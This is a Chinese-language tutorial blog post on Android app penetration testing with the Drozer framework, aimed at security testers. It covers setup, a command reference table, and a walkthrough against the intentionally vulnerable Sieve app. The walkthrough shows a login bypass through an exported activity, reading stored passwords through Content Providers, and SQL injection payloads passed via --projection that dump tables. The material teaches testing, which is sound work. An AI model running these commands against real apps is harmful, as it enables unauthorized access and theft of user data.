APP 渗透测试漏洞实战教程
本文介绍了基于 Drozer 框架的 Android APP 渗透测试流程。涵盖环境搭建(夜神模拟器、ADB、Python2.7)、组件分析(Activity、Service、Provider、Broadcast)及漏洞扫描。通过 Drozer 命令列出应用包名、检测暴露组件权限、探测 Content Provider 注入及数据读取风险。演示了如何绕过登录验证及利用 SQL 注入获取敏感数据,旨在帮助安全人员掌握移动端基础漏洞挖掘方法。

本文介绍了基于 Drozer 框架的 Android APP 渗透测试流程。涵盖环境搭建(夜神模拟器、ADB、Python2.7)、组件分析(Activity、Service、Provider、Broadcast)及漏洞扫描。通过 Drozer 命令列出应用包名、检测暴露组件权限、探测 Content Provider 注入及数据读取风险。演示了如何绕过登录验证及利用 SQL 注入获取敏感数据,旨在帮助安全人员掌握移动端基础漏洞挖掘方法。

APP 测试一般有三步(个人理解):
安卓应用会用到四大组件,我们简单了解下:


0x01 所需环境
下载 ADB 之后,将其安装根目录路径添加到环境变量就可以使用 ADB 命令。


如下路径需添加到系统中的环境变量:

下图路径下的四个模块文件夹,复制到 Python 2.7 对应目录下,Python 安装目录可找到相同路径:

使用时可能会遇到一些模块未安装,但是安装时又提示 pip 中找不到,可以用其他版本替代:
python2 -m pip install google
python2 -m pip install protobuf
python2 -m pip install OpenSSL
Sieve: 一款用于 APP 漏洞测试的应用

0x02 存在问题
# 获取安装包列表 run app.package.list

如果中文乱码了,修改 package.py 源码,加入如下内容:
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

往下划,找到如下内容,在前面加上 u:


0x03 Sieve 安装
拖动 Sieve.apk 进入模拟器,然后会自动安装:

打开后需要设置密码,且长度需要为 16 位长度,我们设置:1234567812345678

接下来需要设置一个 PIN 码,我们设置:1234

完成后,输入设置的 16 位密码进行登入,然后添加测试数据:




0x04 环境连接
模拟器开启 Drozer 服务,打开后点击右下角按钮,文字显示为开启并显示运行服务时,即为成功开启服务:


打开 CMD 窗口,输入命令开始后续操作:
# 查看端口及连接 adb devices

# 连接模拟器 adb connect 127.0.0.1:62001
# 本地端口转发至模拟器 adb forward tcp:31415 tcp:31415

# 在确认 drozer 服务端开启的情况下,输入命令进行连接 drozer console connect
# drozer console connect --server ip

如果第一次进入的时候报错,提示 java 环境变量找不到的话,需要在当前用户下创建一个.drozer_config 文件:
[executables]
java=C:\Program Files\Java\jdk1.8.0_201\java.exe
javac=C:\Program Files\Java\jdk1.8.0_201\javac.exe
重新连接就可以了。

0x05 常用命令
| 常用测试命令 | 作用 |
|---|---|
| 基本语法 | run 具体命令 [-参数] |
| run app.package.list | 列出所有包名 (软件) |
| run app.package.info -a 包名 | 查看某个软件 (包名) 的具体信息 |
| run app.package.attacksurface 包名 | 查看某个软件的攻击面 |
| run app.activity.info -a 包名 | 查看某个软件的 activity 组件的具体攻击面 |
| run app.activity.start --component 包名 activity 组件名 | 启动某个 activity |
| run app.provider.info -a 包名 | 查看某个软件的 provider 组件的具体攻击面 |
| run app.provider.finduri 包名 | 列出某个软件的 URI |
| run app.provider.query content://xxxxxURI | 查看某个 URI 内容 |
| run app.provider.query content://xxxxxURI --projection "'" | 检测某个 URI 是否存在注入 |
| run app.provider.query content://xxxxxURI --selection "'" | 检测某个 URI 是否存在注入 |
| run app.provider.query content://xxxxxURI --projection "* FROM SQLITE_MASTER WHERE type='table';--" | 针对某个 URI 进行注入 |
| run app.provider.read content://xxxxxURI | 通过某个 URI 读取文件 |
| run app.provider.download content://xxxxxURI 主机目录/文件名 | 通过某个 URI 下载文件 |
| run app.service.info -a 包名 | 查看某个软件的 service 组件的具体攻击面 |
| run app.service.start --action 某个 action | 启动某个 service |
| run app.broadcast.info -a 包名 | 查看某个软件的 broadcast 组件的具体攻击面 |
| run app.broadcast.send -action 某个 action --extra TYPE KEY VALUE | 执行某个 broadcast 组件的 action,并传递参数 |
| run scanner.provider.finduris -a 包名 | 寻找可访问 URI |
| run scanner.provider.traversal -a 包名 | 探测存在目录遍历的 URI |
| run scanner.provider.injection -a 包名 | 探测存在注入的 URI |

0x06 测试开始
# 获取安装包列表 run app.package.list

# 获取安装包详细信息 run app.package.info -a 包名

# 获取目标应用所使用的组件情况 run app.package.attacksurface 包名
下图可见其潜在被导出的且暴露在外的相关组件种类及数量:

# 查看目标应用所使用的 activity 组件详细信息 run app.activity.info -a 包名
下图可见其三个组件权限均为:null,也就代表无需权限可对其进行操作:

# 测试其某个 activity 组件 run app.activity.start --component 包名 activity 组件名
下图可见绕过了登录验证,直接进入了页面:

# 获取 Content Providers 组件信息 run app.provider.info -a 包名
如下图可见,所框选的两个 Providers 组件,无需权限即可进行操作,只有 com.mwr.example.sieve.DBContentProvider 的 /key 目录需要权限:

# 列出所使用的 URI,并检测是否存在可被获取数据的 URI run scanner.provider.finduris -a 包名
扫描结果可见,存在三条可被读取的 URI:

# 尝试对某 URI 进行数据读取 run app.provider.query URI 路径
下图可见,成功读取到应用内的用户相关信息、应用密码等:


# 探测应用中可能存在注入的 URI run scanner.provider.injection -a 包名
探测显示,如下 URI 中的 Projection、Selection 参数存在注入:

# 指定 URI 与参数,并插入单引号验证是否存在注入 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
下图可见,出现了报错,那八成是有注入了:

# 尝试构造通用语句(安卓应用大多使用 SQLite),列出所有的数据表 run app.provider.query URI --projection "* FROM SQLITE_MASTER WHERE type='table';--"

# 指定某个表,对其内容通过注入进行数据获取 run app.provider.query URI --projection "* from Key;--"

总结
通过以上步骤,我们完成了基于 Drozer 框架的 Android 应用基础安全测试。重点在于识别暴露的 Activity、Service、Content Provider 和 Broadcast Receiver 组件,并利用 SQL 注入等漏洞获取敏感数据。在实际渗透测试中,应结合业务逻辑深入分析,确保应用组件权限最小化,防止未授权访问和数据泄露。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online